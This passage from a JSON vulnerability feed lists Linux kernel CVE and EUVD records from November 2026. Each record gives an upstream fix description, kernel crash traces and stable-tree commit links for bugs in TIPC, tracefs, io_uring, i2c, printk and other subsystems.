updating the rate in the early PMC context.\n\nFix this by initialising the early_pmc->rate variable for 32-bit Tegra\ndevices when the rate for the PMC context is initialised.\n\n[treding@nvidia.com: move assignment to existing #ifdef block]","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://git.kernel.org/stable/c/43bc7d5707bbbf75e56db849b987193d6e866ec6","https://git.kernel.org/stable/c/c5c95dbdc9011a56359df4dc00be829bbcc0b036"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T12:17:32","euvd":{"id":"EUVD-2026-115770","description":"In the Linux kernel, the following vulnerability has been resolved:\n\nsoc/tegra: pmc: Fix uninitialised clock rate\n\nFor legacy 32-bit Tegra devices, the warning in the\ntegra_pmc_enter_suspend_mode() function is being triggered because the\nearly_pmc->rate variable is never configured and hence, always 0. This\nissue started occurring after updating the PMC driver to create the PMC\ncontext dynamically which causes the 'rate' to be set in the new dynamic\ncontext, but missed updating the rate in the early PMC context.\n\nFix this by initialising the early_pmc->rate variable for 32-bit Tegra\ndevices when the rate for the PMC context is initialised.\n\n[treding@nvidia.com: move assignment to existing #ifdef block]","published_time":"2026-11-03T11:25:14","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Linux","references":["https://git.kernel.org/stable/c/43bc7d5707bbbf75e56db849b987193d6e866ec6","https://git.kernel.org/stable/c/c5c95dbdc9011a56359df4dc00be829bbcc0b036"],"products":["Linux","Linux","Linux","Linux","Linux","Linux"],"vendors":["Linux"]},"ghsa":null},{"cve_id":"CVE-2026-99260","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nntfs: fix resident conversion in ntfs_new_attr_flags\n\nWhen setting sparse/compressed flags on a resident attribute, the\nfunction skipped the resident-to-non-resident conversion and\nterminated.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://git.kernel.org/stable/c/7ed0028126b5a19f278183abbae2b3166d3ca9ac","https://git.kernel.org/stable/c/c5434e86d6c5324990017ea043bc821d115132c8"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T12:17:32","euvd":{"id":"EUVD-2026-115771","description":"In the Linux kernel, the following vulnerability has been resolved:\n\nntfs: fix resident conversion in ntfs_new_attr_flags\n\nWhen setting sparse/compressed flags on a resident attribute, the\nfunction skipped the resident-to-non-resident conversion and\nterminated.","published_time":"2026-11-03T11:25:15","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Linux","references":["https://git.kernel.org/stable/c/c5434e86d6c5324990017ea043bc821d115132c8","https://git.kernel.org/stable/c/7ed0028126b5a19f278183abbae2b3166d3ca9ac"],"products":["Linux","Linux","Linux","Linux","Linux","Linux"],"vendors":["Linux"]},"ghsa":null},{"cve_id":"CVE-2026-99246","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\ntipc: protect node reset trace dump with node lock\n\nThe tipc_node_reset_links trace event asks tipc_node_dump() to walk the\nnode's link entries. Unlike the other node events that request link data,\nthis event runs without the node lock.\n\nThis permits bearer teardown to free a link while the trace callback is\ndumping it:\n\n  CPU 0                                CPU 1\n  trace_tipc_node_reset_links()\n    tipc_node_dump()\n      l = n->links[0].link\n                                       tipc_node_write_lock()\n                                       kfree(l)\n                                       n->links[0].link = NULL\n                                       tipc_node_write_unlock()\n      tipc_link_dump(l)\n\ntipc_link_dump() then dereferences the stale pointer. KASAN reported:\n\n  BUG: KASAN: slab-use-after-free in tipc_link_dump\n  Read of size 4 by task poc/115\n  Call Trace:\n   tipc_link_dump+0x10cb/0x16b0\n   tipc_node_dump+0x4bb/0x740\n   trace_event_raw_event_tipc_node_class+0x258/0x360\n   tipc_node_reset_links+0x14d/0x1a0\n   tipc_rcv+0x13f5/0x3030\n   tipc_udp_recv+0x4e3/0x670\n  Allocated by task 0:\n   tipc_link_create+0x1e1/0x1020\n   tipc_node_check_dest+0x7d2/0x11a0\n   tipc_disc_rcv+0xdbf/0x1430\n  Freed by task 89:\n   kfree+0x131/0x3c0\n   tipc_node_link_down+0x267/0x4b0\n   tipc_node_delete_links+0xec/0x160\n   bearer_disable+0x107/0x260\n\nTake the node write lock around the trace event. This serializes the\ndump against tipc_node_link_down(delete=true), which frees the link\nunder the same write lock.","cvss":8.1,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.1,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://git.kernel.org/stable/c/6abd93d01b0f495f29201925a5ee8e6a583c4044","https://git.kernel.org/stable/c/6e492cb98ca69cc1145175e23e22e3b84da7f26d","https://git.kernel.org/stable/c/7bb6a35bd6d69019539d8782fb590fd2aa8a3236","https://git.kernel.org/stable/c/a6101d62ccfa153db8c218ce59362b8e0316fd4f","https://git.kernel.org/stable/c/b8b7d28dc2b7472ffd1eff3954c38f1976b21a7b","https://git.kernel.org/stable/c/c8b72ca0918e95f708f67c8b3e69b05290f2b6d2","https://git.kernel.org/stable/c/dddf197f29ba5e47a476dde82bf542ca2e0d5e5e","https://git.kernel.org/stable/c/fa8c78c0e49aa11fae116fd841e41aa8f2d68751"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T12:17:31","euvd":{"id":"EUVD-2026-115776","description":"In the Linux kernel, the following vulnerability has been resolved:\n\ntipc: protect node reset trace dump with node lock\n\nThe tipc_node_reset_links trace event asks tipc_node_dump() to walk the\nnode's link entries. Unlike the other node events that request link data,\nthis event runs without the node lock.\n\nThis permits bearer teardown to free a link while the trace callback is\ndumping it:\n\n  CPU 0                                CPU 1\n  trace_tipc_node_reset_links()\n    tipc_node_dump()\n      l = n->links[0].link\n                                       tipc_node_write_lock()\n                                       kfree(l)\n                                       n->links[0].link = NULL\n                                       tipc_node_write_unlock()\n      tipc_link_dump(l)\n\ntipc_link_dump() then dereferences the stale pointer. KASAN reported:\n\n  BUG: KASAN: slab-use-after-free in tipc_link_dump\n  Read of size 4 by task poc/115\n  Call Trace:\n   tipc_link_dump+0x10cb/0x16b0\n   tipc_node_dump+0x4bb/0x740\n   trace_event_raw_event_tipc_node_class+0x258/0x360\n   tipc_node_reset_links+0x14d/0x1a0\n   tipc_rcv+0x13f5/0x3030\n   tipc_udp_recv+0x4e3/0x670\n  Allocated by task 0:\n   tipc_link_create+0x1e1/0x1020\n   tipc_node_check_dest+0x7d2/0x11a0\n   tipc_disc_rcv+0xdbf/0x1430\n  Freed by task 89:\n   kfree+0x131/0x3c0\n   tipc_node_link_down+0x267/0x4b0\n   tipc_node_delete_links+0xec/0x160\n   bearer_disable+0x107/0x260\n\nTake the node write lock around the trace event. This serializes the\ndump against tipc_node_link_down(delete=true), which frees the link\nunder the same write lock.","published_time":"2026-11-03T11:18:25","cvss":8.1,"cvss_version":"3.1","epss":0.0,"assigner":"Linux","references":["https://git.kernel.org/stable/c/c8b72ca0918e95f708f67c8b3e69b05290f2b6d2","https://git.kernel.org/stable/c/6e492cb98ca69cc1145175e23e22e3b84da7f26d","https://git.kernel.org/stable/c/7bb6a35bd6d69019539d8782fb590fd2aa8a3236","https://git.kernel.org/stable/c/6abd93d01b0f495f29201925a5ee8e6a583c4044","https://git.kernel.org/stable/c/a6101d62ccfa153db8c218ce59362b8e0316fd4f","https://git.kernel.org/stable/c/b8b7d28dc2b7472ffd1eff3954c38f1976b21a7b","https://git.kernel.org/stable/c/fa8c78c0e49aa11fae116fd841e41aa8f2d68751","https://git.kernel.org/stable/c/dddf197f29ba5e47a476dde82bf542ca2e0d5e5e"],"products":["Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux"],"vendors":["Linux"]},"ghsa":null},{"cve_id":"CVE-2026-99247","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\ntracing: Do not initialize tracefs work if tracing is disabled\n\nIf trace buffer allocation fails during early boot (e.g.  in\nearly_trace_init() -> allocate_trace_buffers()), tracing_disabled is\nleft set to 1 and the global trace array events list remains\nuninitialized.\n\nLater during boot, tracer_init_tracefs() (invoked via fs_initcall)\nqueues tracerfs_init_work asynchronously without checking if tracing was\ndisabled.  When tracer_init_tracefs_work_func() runs, it calls\nevent_trace_init() and init_tracer_tracefs(&global_trace, NULL)\nunconditionally.  This leads to __find_event_file() dereferencing an\nuninitialized tr->events list, causing an early boot NULL pointer\ndereference Oops:\n\n  BUG: Kernel NULL pointer dereference on read at 0x00000010\n  Faulting instruction address: 0xc000000000485be0\n  Oops: Kernel access of bad area, sig: 7 [#1]\n  ...\n  NIP [c000000000485be0] __find_event_file+0x70/0x3c0\n  LR  [c000000000448874] init_tracer_tracefs+0x274/0xc80\n  Call Trace:\n   init_tracer_tracefs+0x274/0xc80\n   tracer_init_tracefs_work_func+0x50/0x320\n   process_one_work+0x1e8/0x5c0\n   worker_thread+0x1dc/0x3d0\n   kthread+0x194/0x1b0\n   start_kernel_thread+0x14/0x18\n\nCheck tracing_disabled at the beginning of tracer_init_tracefs_work_func()\nand return immediately if tracing is disabled or failed to initialize,\npreventing the crash.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://git.kernel.org/stable/c/7539c61f522ff693d9565a0411386c2236e776cd","https://git.kernel.org/stable/c/813e18881c6472eb229a63180ff42c808e3e949b","https://git.kernel.org/stable/c/afd38b10b1c6a5c5d6952b15b990596dab9684e6","https://git.kernel.org/stable/c/b3b974008388ab59e44d764ba7a63c988fec2524","https://git.kernel.org/stable/c/e8665e884e076d894f3eed8b9ea28e37a6448604","https://git.kernel.org/stable/c/e8cfcd7e60eaa3b0dea4d71c64499604e7081736"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T12:17:31","euvd":{"id":"EUVD-2026-115777","description":"In the Linux kernel, the following vulnerability has been resolved:\n\ntracing: Do not initialize tracefs work if tracing is disabled\n\nIf trace buffer allocation fails during early boot (e.g.  in\nearly_trace_init() -> allocate_trace_buffers()), tracing_disabled is\nleft set to 1 and the global trace array events list remains\nuninitialized.\n\nLater during boot, tracer_init_tracefs() (invoked via fs_initcall)\nqueues tracerfs_init_work asynchronously without checking if tracing was\ndisabled.  When tracer_init_tracefs_work_func() runs, it calls\nevent_trace_init() and init_tracer_tracefs(&global_trace, NULL)\nunconditionally.  This leads to __find_event_file() dereferencing an\nuninitialized tr->events list, causing an early boot NULL pointer\ndereference Oops:\n\n  BUG: Kernel NULL pointer dereference on read at 0x00000010\n  Faulting instruction address: 0xc000000000485be0\n  Oops: Kernel access of bad area, sig: 7 [#1]\n  ...\n  NIP [c000000000485be0] __find_event_file+0x70/0x3c0\n  LR  [c000000000448874] init_tracer_tracefs+0x274/0xc80\n  Call Trace:\n   init_tracer_tracefs+0x274/0xc80\n   tracer_init_tracefs_work_func+0x50/0x320\n   process_one_work+0x1e8/0x5c0\n   worker_thread+0x1dc/0x3d0\n   kthread+0x194/0x1b0\n   start_kernel_thread+0x14/0x18\n\nCheck tracing_disabled at the beginning of tracer_init_tracefs_work_func()\nand return immediately if tracing is disabled or failed to initialize,\npreventing the crash.","published_time":"2026-11-03T11:18:26","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Linux","references":["https://git.kernel.org/stable/c/e8665e884e076d894f3eed8b9ea28e37a6448604","https://git.kernel.org/stable/c/e8cfcd7e60eaa3b0dea4d71c64499604e7081736","https://git.kernel.org/stable/c/afd38b10b1c6a5c5d6952b15b990596dab9684e6","https://git.kernel.org/stable/c/813e18881c6472eb229a63180ff42c808e3e949b","https://git.kernel.org/stable/c/7539c61f522ff693d9565a0411386c2236e776cd","https://git.kernel.org/stable/c/b3b974008388ab59e44d764ba7a63c988fec2524"],"products":["Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux"],"vendors":["Linux"]},"ghsa":null},{"cve_id":"CVE-2026-99248","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\ni2c: xiic: restore non-managed runtime PM to fix clk WARN flood\n\nThe devres conversion replaced manual pm_runtime_enable()/disable() with\ndevm_pm_runtime_set_active_enabled() and dropped the remove-time runtime\nPM teardown. The managed release tears runtime PM down in the wrong\norder: it calls pm_runtime_dont_use_autosuspend() before\npm_runtime_disable(), i.e. while runtime PM is still enabled, and devres\nis LIFO so the devm_clk_get_enabled() release runs afterwards.\n\nAt remove(), pm_runtime_put_sync() leaves the device active with the\nautosuspend timer armed. Clearing use_autosuspend then makes rpm_idle()\nsuspend immediately, and xiic_i2c_runtime_suspend() clk_disable()s the\nclock. The later devm_clk_get_enabled() release clk_disable_unprepare()s\nthe already-disabled clock, so clk_core_disable() WARNs (\"clkN already\ndisabled\") on every teardown.\n\nDrop the managed helper and restore the non-managed runtime PM setup and\nteardown, so runtime PM is enabled once in probe and disabled once in\nremove and the clock enable count stays balanced.\n\nOrder the remove teardown so runtime PM is disabled before the usage\ncount is dropped: pm_runtime_disable() followed by pm_runtime_put_noidle()\ninstead of pm_runtime_put_sync(). Dropping the count first with autosuspend\nstill enabled arms the autosuspend timer, and a preemption before\npm_runtime_disable() lets it expire, suspend the device and clk_disable()\nthe clock, which the devm release then disables again - the same WARN.\n\nRestore the non-managed IRQ request as well. The probe error paths now\nunwind runtime PM by hand via goto, and a devm-registered handler is only\nfreed later during devres unwind, so it would stay live across the manual\nteardown (and across any future failing step added after it). Request the\nIRQ with request_threaded_irq() and free it explicitly in the probe error\npath and in remove. The probe error path also clears use_autosuspend, to\nmatch the teardown in remove().","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://git.kernel.org/stable/c/47e105bdc863f2b320f9c05c80a63d3b83312700","https://git.kernel.org/stable/c/d33373c565af9c8a28776af02bd20ba6e5724211"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T12:17:31","euvd":{"id":"EUVD-2026-115778","description":"In the Linux kernel, the following vulnerability has been resolved:\n\ni2c: xiic: restore non-managed runtime PM to fix clk WARN flood\n\nThe devres conversion replaced manual pm_runtime_enable()/disable() with\ndevm_pm_runtime_set_active_enabled() and dropped the remove-time runtime\nPM teardown. The managed release tears runtime PM down in the wrong\norder: it calls pm_runtime_dont_use_autosuspend() before\npm_runtime_disable(), i.e. while runtime PM is still enabled, and devres\nis LIFO so the devm_clk_get_enabled() release runs afterwards.\n\nAt remove(), pm_runtime_put_sync() leaves the device active with the\nautosuspend timer armed. Clearing use_autosuspend then makes rpm_idle()\nsuspend immediately, and xiic_i2c_runtime_suspend() clk_disable()s the\nclock. The later devm_clk_get_enabled() release clk_disable_unprepare()s\nthe already-disabled clock, so clk_core_disable() WARNs (\"clkN already\ndisabled\") on every teardown.\n\nDrop the managed helper and restore the non-managed runtime PM setup and\nteardown, so runtime PM is enabled once in probe and disabled once in\nremove and the clock enable count stays balanced.\n\nOrder the remove teardown so runtime PM is disabled before the usage\ncount is dropped: pm_runtime_disable() followed by pm_runtime_put_noidle()\ninstead of pm_runtime_put_sync(). Dropping the count first with autosuspend\nstill enabled arms the autosuspend timer, and a preemption before\npm_runtime_disable() lets it expire, suspend the device and clk_disable()\nthe clock, which the devm release then disables again - the same WARN.\n\nRestore the non-managed IRQ request as well. The probe error paths now\nunwind runtime PM by hand via goto, and a devm-registered handler is only\nfreed later during devres unwind, so it would stay live across the manual\nteardown (and across any future failing step added after it). Request the\nIRQ with request_threaded_irq() and free it explicitly in the probe error\npath and in remove. The probe error path also clears use_autosuspend, to\nmatch the teardown in remove().","published_time":"2026-11-03T11:18:26","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Linux","references":["https://git.kernel.org/stable/c/47e105bdc863f2b320f9c05c80a63d3b83312700","https://git.kernel.org/stable/c/d33373c565af9c8a28776af02bd20ba6e5724211"],"products":["Linux","Linux","Linux","Linux","Linux","Linux"],"vendors":["Linux"]},"ghsa":null},{"cve_id":"CVE-2026-99249","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\npid_namespace: make zap_pid_ns_processes() freezable\n\nWhen the init of a pid namespace exits, zap_pid_ns_processes() waits\nuntil all other pids in the namespace are freed. A tracer outside the\nnamespace that does not reap its traced zombies keeps those pids\nallocated, so this wait has no upper bound, and while it lasts every\nsuspend attempt fails:\n\n  Freezing user space processes failed after 20.006 seconds (2 tasks refusing to freeze, wq_busy=0):\n\nNeither wait is freezable. The first loop sleeps in do_wait(), which\nreturns -ERESTARTSYS on the freezer's fake signal; the loop then clears\nTIF_SIGPENDING and waits again without ever freezing. The final loop\nsleeps in TASK_INTERRUPTIBLE, and since nothing clears TIF_SIGPENDING\nthere, schedule() returns immediately after the first freeze attempt\nand the task spins until the wait ends.\n\nSleep in TASK_INTERRUPTIBLE | TASK_FREEZABLE in do_wait(), so that the\nfreezer can freeze tasks waiting there directly, and in TASK_IDLE |\nTASK_FREEZABLE in the final loop, like coredump_task_exit() does.\n\nThis was hit with Chromium-based browsers: crashpad ptrace-attaches the\nthreads of a crashed renderer, which is a pid namespace init, and does\nnot reap those killed during the dump.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://git.kernel.org/stable/c/064a6761d6f6ac55d090d3eaca649577ee736713","https://git.kernel.org/stable/c/2e10b8a74f55b5aae33db105d3e2d3ae759c865a","https://git.kernel.org/stable/c/4b47107f1a80c809c80093e872bcaccdbae13db4","https://git.kernel.org/stable/c/7deb5770840339fe88755bf27b92f74edc26ee87","https://git.kernel.org/stable/c/81933038f5e273d17ed22792f906889393b204c5","https://git.kernel.org/stable/c/e8dafad7de9ede813af2d48cc04b7c88fef16682"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T12:17:31","euvd":{"id":"EUVD-2026-115779","description":"In the Linux kernel, the following vulnerability has been resolved:\n\npid_namespace: make zap_pid_ns_processes() freezable\n\nWhen the init of a pid namespace exits, zap_pid_ns_processes() waits\nuntil all other pids in the namespace are freed. A tracer outside the\nnamespace that does not reap its traced zombies keeps those pids\nallocated, so this wait has no upper bound, and while it lasts every\nsuspend attempt fails:\n\n  Freezing user space processes failed after 20.006 seconds (2 tasks refusing to freeze, wq_busy=0):\n\nNeither wait is freezable. The first loop sleeps in do_wait(), which\nreturns -ERESTARTSYS on the freezer's fake signal; the loop then clears\nTIF_SIGPENDING and waits again without ever freezing. The final loop\nsleeps in TASK_INTERRUPTIBLE, and since nothing clears TIF_SIGPENDING\nthere, schedule() returns immediately after the first freeze attempt\nand the task spins until the wait ends.\n\nSleep in TASK_INTERRUPTIBLE | TASK_FREEZABLE in do_wait(), so that the\nfreezer can freeze tasks waiting there directly, and in TASK_IDLE |\nTASK_FREEZABLE in the final loop, like coredump_task_exit() does.\n\nThis was hit with Chromium-based browsers: crashpad ptrace-attaches the\nthreads of a crashed renderer, which is a pid namespace init, and does\nnot reap those killed during the dump.","published_time":"2026-11-03T11:18:26","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Linux","references":["https://git.kernel.org/stable/c/064a6761d6f6ac55d090d3eaca649577ee736713","https://git.kernel.org/stable/c/e8dafad7de9ede813af2d48cc04b7c88fef16682","https://git.kernel.org/stable/c/4b47107f1a80c809c80093e872bcaccdbae13db4","https://git.kernel.org/stable/c/2e10b8a74f55b5aae33db105d3e2d3ae759c865a","https://git.kernel.org/stable/c/7deb5770840339fe88755bf27b92f74edc26ee87","https://git.kernel.org/stable/c/81933038f5e273d17ed22792f906889393b204c5"],"products":["Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux"],"vendors":["Linux"]},"ghsa":null},{"cve_id":"CVE-2026-99250","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nprintk: Postpone kthread startup\n\nThere have been various bug reports related to SMP systems hanging\non boot. The reports vary but seem to have some overlap with regard\nto missed IPI's during SMP setup. The reports also show that\nreverting NBCON console usage allows the bugs to disappear.\n\nThe NBCON kthreads for console printing are started very early\nduring boot using early_initcall(). Since these kthreads are\nasynchronously enabling/disabling interrupts during early boot, they\nmay be interfering with early SMP setup on some hardware platforms.\n\nStarting the console printing kthreads later has shown to avoid the\nhanging on systems that could previously reproduce the issue.\n\nPostpone kthread starting until after all arch initcalls have\ncompleted.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://git.kernel.org/stable/c/5f339c46f153184570f16c8e789c9709b14cbe8b","https://git.kernel.org/stable/c/7595bacee48bc30b5021eccf199d704d4e5e5374","https://git.kernel.org/stable/c/792acd173da0884f0172c68cb473f42cf93c647e","https://git.kernel.org/stable/c/a86bcdd84c8fe7a45f73e12d53fe06fea07d1ceb"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T12:17:31","euvd":{"id":"EUVD-2026-115761","description":"In the Linux kernel, the following vulnerability has been resolved:\n\nprintk: Postpone kthread startup\n\nThere have been various bug reports related to SMP systems hanging\non boot. The reports vary but seem to have some overlap with regard\nto missed IPI's during SMP setup. The reports also show that\nreverting NBCON console usage allows the bugs to disappear.\n\nThe NBCON kthreads for console printing are started very early\nduring boot using early_initcall(). Since these kthreads are\nasynchronously enabling/disabling interrupts during early boot, they\nmay be interfering with early SMP setup on some hardware platforms.\n\nStarting the console printing kthreads later has shown to avoid the\nhanging on systems that could previously reproduce the issue.\n\nPostpone kthread starting until after all arch initcalls have\ncompleted.","published_time":"2026-11-03T11:18:27","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Linux","references":["https://git.kernel.org/stable/c/a86bcdd84c8fe7a45f73e12d53fe06fea07d1ceb","https://git.kernel.org/stable/c/7595bacee48bc30b5021eccf199d704d4e5e5374","https://git.kernel.org/stable/c/792acd173da0884f0172c68cb473f42cf93c647e","https://git.kernel.org/stable/c/5f339c46f153184570f16c8e789c9709b14cbe8b"],"products":["Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux"],"vendors":["Linux"]},"ghsa":null},{"cve_id":"CVE-2026-99251","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nDrivers: hv: Avoid infinite retry loop in init_vp_index()\n\nThere is a retry loop in init_vp_index() where the CPUs from a certain\nnode are stripped out if they have already been in the allocated cpumask\nor not in HK_TYPE_MANAGED_IRQ housekeeping cpumask. If there is no\nCPU left, the allocated cpumask is ignored and the process is retried\nagain. However, if the HK_TYPE_MANAGED_IRQ housekeeping cpumask turns\nout not to contain any CPU in that particular node, that will become an\ninfinite retry loop.  This particular problem was reported by sashiko\n[1]. This should rarely happen, but we still need to guard against this.\n\nFix this infinite loop problem by also skipping NUMA node that has no\nhousekeeping CPU in the inner while loop of init_vp_index(). Also update\nthe early abort check to check for the absence of online housekeeping\nCPUs instead of just the emptiness of the cpumask. As the outer for\nloop will only be reached if the housekeeping cpumask has at least one\nonline CPU, a NUMA node with housekeeping CPUs will eventually be found.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://git.kernel.org/stable/c/15dd3429f0e76ca071657e480cb7e6ff3a1af730","https://git.kernel.org/stable/c/32ea0a33e3a0fb7c10c601b43e1b2f6c06a3f5fd","https://git.kernel.org/stable/c/7141331f2d245efc07175802a6bf76badec871ed","https://git.kernel.org/stable/c/95fec47cdbf747b81ab22affd7252dda6050ad0c","https://git.kernel.org/stable/c/b3993f6dc106ff416c7a613c631e1e0af451aed7","https://git.kernel.org/stable/c/f561392afb44a8a42c54c1cfd3f33dace0b50537"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T12:17:31","euvd":{"id":"EUVD-2026-115762","description":"In the Linux kernel, the following vulnerability has been resolved:\n\nDrivers: hv: Avoid infinite retry loop in init_vp_index()\n\nThere is a retry loop in init_vp_index() where the CPUs from a certain\nnode are stripped out if they have already been in the allocated cpumask\nor not in HK_TYPE_MANAGED_IRQ housekeeping cpumask. If there is no\nCPU left, the allocated cpumask is ignored and the process is retried\nagain. However, if the HK_TYPE_MANAGED_IRQ housekeeping cpumask turns\nout not to contain any CPU in that particular node, that will become an\ninfinite retry loop.  This particular problem was reported by sashiko\n[1]. This should rarely happen, but we still need to guard against this.\n\nFix this infinite loop problem by also skipping NUMA node that has no\nhousekeeping CPU in the inner while loop of init_vp_index(). Also update\nthe early abort check to check for the absence of online housekeeping\nCPUs instead of just the emptiness of the cpumask. As the outer for\nloop will only be reached if the housekeeping cpumask has at least one\nonline CPU, a NUMA node with housekeeping CPUs will eventually be found.","published_time":"2026-11-03T11:18:27","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Linux","references":["https://git.kernel.org/stable/c/b3993f6dc106ff416c7a613c631e1e0af451aed7","https://git.kernel.org/stable/c/f561392afb44a8a42c54c1cfd3f33dace0b50537","https://git.kernel.org/stable/c/15dd3429f0e76ca071657e480cb7e6ff3a1af730","https://git.kernel.org/stable/c/7141331f2d245efc07175802a6bf76badec871ed","https://git.kernel.org/stable/c/95fec47cdbf747b81ab22affd7252dda6050ad0c","https://git.kernel.org/stable/c/32ea0a33e3a0fb7c10c601b43e1b2f6c06a3f5fd"],"products":["Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux"],"vendors":["Linux"]},"ghsa":null},{"cve_id":"CVE-2026-99252","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring/mpscq: disable preemption while pushing\n\nA push makes the node the new tail, and then links it to its predecessor.\nIn between the queue isn't empty, but mpscq_pop() can't get at the node.\nThe consumers deal with that by trying again, with a cond_resched() in\nthe loop to give a preempted producer the chance to finish.\n\ncond_resched() doesn't do that if the consumer has a higher priority than\nthe producer and both have to use the same CPU:\n\n  producer (SCHED_OTHER)              consumer (SCHED_FIFO), same CPU\n  io_req_local_work_add()\n    mpscq_push()\n      prev = xchg(&q->tail, node)\n  <preempted>                         io_cqring_wait()\n                                        __io_run_local_work()\n                                      again:\n                                          cond_resched()  // nothing to do\n                                          mpscq_pop()     // NULL\n                                          // work pending, no events yet\n                                          goto again\n\nThe producer can be any task that is able to queue task_work for the\nring: an io-wq worker, or somebody who sends a message with\nIORING_OP_MSG_RING. The consumer spins, holding ->uring_lock, until the\nscheduler takes pity on the fair class, which takes about a second with\nthe default settings of the fair server, and forever without it. The\nloops in tctx_task_work_run() and io_cancel_local_task_work() have the\nsame problem.\n\nDon't allow preemption between the two steps. That bounds the time the\nwindow is open on the CPU of the producer by what interrupts take, and a\nconsumer that waits for that is on another CPU. The cost is a\npreempt_disable()/preempt_enable() pair per push.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://git.kernel.org/stable/c/68a95c3968895cd198f42baadb23e635fecc5a66","https://git.kernel.org/stable/c/8c94677e2b6145393d4c129fe0f5364b0e5000a5"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T12:17:31","euvd":{"id":"EUVD-2026-115763","description":"In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring/mpscq: disable preemption while pushing\n\nA push makes the node the new tail, and then links it to its predecessor.\nIn between the queue isn't empty, but mpscq_pop() can't get at the node.\nThe consumers deal with that by trying again, with a cond_resched() in\nthe loop to give a preempted producer the chance to finish.\n\ncond_resched() doesn't do that if the consumer has a higher priority than\nthe producer and both have to use the same CPU:\n\n  producer (SCHED_OTHER)              consumer (SCHED_FIFO), same CPU\n  io_req_local_work_add()\n    mpscq_push()\n      prev = xchg(&q->tail, node)\n  <preempted>                         io_cqring_wait()\n                                        __io_run_local_work()\n                                      again:\n                                          cond_resched()  // nothing to do\n                                          mpscq_pop()     // NULL\n                                          // work pending, no events yet\n                                          goto again\n\nThe producer can be any task that is able to queue task_work for the\nring: an io-wq worker, or somebody who sends a message with\nIORING_OP_MSG_RING. The consumer spins, holding ->uring_lock, until the\nscheduler takes pity on the fair class, which takes about a second with\nthe default settings of the fair server, and forever without it. The\nloops in tctx_task_work_run() and io_cancel_local_task_work() have the\nsame problem.\n\nDon't allow preemption between the two steps. That bounds the time the\nwindow is open on the CPU of the producer by what interrupts take, and a\nconsumer that waits for that is on another CPU. The cost is a\npreempt_disable()/preempt_enable() pair per push.","published_time":"2026-11-03T11:20:12","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Linux","references":["https://git.kernel.org/stable/c/8c94677e2b6145393d4c129fe0f5364b0e5000a5","https://git.kernel.org/stable/c/68a95c3968895cd198f42baadb23e635fecc5a66"],"products":["Linux","Linux","Linux","Linux","Linux","Linux"],"vendors":["Linux"]},"ghsa":null},{"cve_id":"CVE-2026-99243","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nio-wq: order the exit bit against worker creation task work\n\nio_wq_exit_workers() cancels task work for queued worker creation with\ntask_work_cancel_match(). That has a plain load of task->task_works.\n\nio_queue_worker_create() adds the new entry and tests IO_WQ_BIT_EXIT to\ncancel it if the workqueue is already on its way out.\n\nThat must be ordered. task_work_add() has a full barrier via cmpxchg().\nBut io_wq_exit_start() sets the bit with set_bit() which doesn't have\nany memory ordering.\n\nSo afaict, on weakly ordered architectures the exiting task may load\ntask_works before the store of the bit is visible. The other side tests\nthe bit 